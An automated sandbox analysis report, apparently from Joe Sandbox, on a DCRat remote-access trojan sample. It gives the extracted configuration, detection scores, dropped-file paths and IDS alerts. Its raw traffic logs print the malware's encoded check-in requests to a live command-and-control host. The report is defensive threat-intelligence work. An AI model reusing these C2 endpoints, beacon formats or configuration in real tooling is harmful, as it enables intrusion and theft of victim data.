Malware Configuration Extractor: DCRat {"SCRT": "{\"0\":\"$\",\"o\":\"~\",\"C\":\"|\",\"c\":\"!\",\"l\":\"`\",\"5\":\">\",\"9\":\"&\",\"E\":\"@\",\"p\":\"_\",\"I\":\"-\",\"j\":\".\",\"H\":\"#\",\"W\":\"*\",\"J\":\"(\",\"R\":\"^\",\"Q\":\"%\",\"L\":\";\",\"6\":\"<\",\"x\":\")\",\"r\":\" \",\"Z\":\",\"}", "PCRT": "{\"I\":\"&\",\"x\":\"$\",\"6\":\",\",\"l\":\"^\",\"i\":\">\",\"X\":\"~\",\"Q\":\";\",\"S\":\"%\",\"e\":\"-\",\"M\":\"`\",\"f\":\"@\",\"y\":\"*\",\"D\":\")\",\"c\":\"#\",\"=\":\"|\",\"j\":\"!\",\"w\":\".\",\"p\":\" \",\"0\":\"<\",\"b\":\"(\"}", "TAG": "", "MUTEX": "DCR_MUTEX-cPZKNKWR4aQiXw0pjjUc", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	ReversingLabs: Detection: 83%
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	ReversingLabs: Detection: 83%
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	ReversingLabs: Detection: 79%
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: AYUGPPBj0x.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	Joe Sandbox ML: detected
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AYUGPPBj0x.exe

Joe Sandbox ML: detected

Source: AYUGPPBj0x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe			Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\dedb3a653dedd1			Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.44.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: AYUGPPBj0x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: kendalcp.exe, 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmp, kendalcp.exe, 00000003.00000000.1755541044.0000000000733000.00000002.00000001.01000000.00000007.sdmp, kendalcp.exe, 00000003.00000003.1757964410.0000000007249000.00000004.00000020.00020000.00000000.sdmp, kendalcp.exe, 00000003.00000003.1757299045.000000000693D000.00000004.00000020.00020000.00000000.sdmp, kendalcp.exe.0.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195AE01E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbP source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.pdb source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195AE01E000.00000004.00000800.00020000.00000000.sdmp, WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.pdbH source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb0Zj source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: mscorlib.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.pdbSystem.dll source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Bootstrapper.exe, 00000001.00000002.2000622001.00000195C6572000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.pdbMZ source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		3_2_0070A5F4
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		3_2_0071B8E0

Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 4x nop then jmp 00007FFD9B89E912h		22_2_00007FFD9B89DEE4
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 4x nop then jmp 00007FFD9B89E912h		22_2_00007FFD9B89E8D3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49736 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 5.101.153.173:80 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 5.101.153.173:80 -> 192.168.2.4:49871
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 5.101.153.173:80 -> 192.168.2.4:50037
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 5.101.153.173:80 -> 192.168.2.4:50047

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.93.27 104.21.93.27
Source: Joe Sandbox View	IP Address: 128.116.44.3 128.116.44.3
Source: Joe Sandbox View	IP Address: 104.20.23.46 104.20.23.46

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 104.21.93.27:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49735

Source: global traffic	HTTP traffic detected: GET /03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1 HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2gTZzUjMyIiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&34a2de7b1a83a5e05a67f173acc3f19f=QX9JSOKNVT1FERYNGbYplcKhVWshnMZRXQYJmb4ZEW0kTbaxmSYF2RCNVWzh3VhZTOXR1Y4FzYsh3VhdkQTJGaKNjW2pESVNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0UZJTSXlFdBR0TyklaOBTQql1N1MlZ3FERNdXQE10dBpGT4RzQNVXQ6VWavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2gTZzUjMyIiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1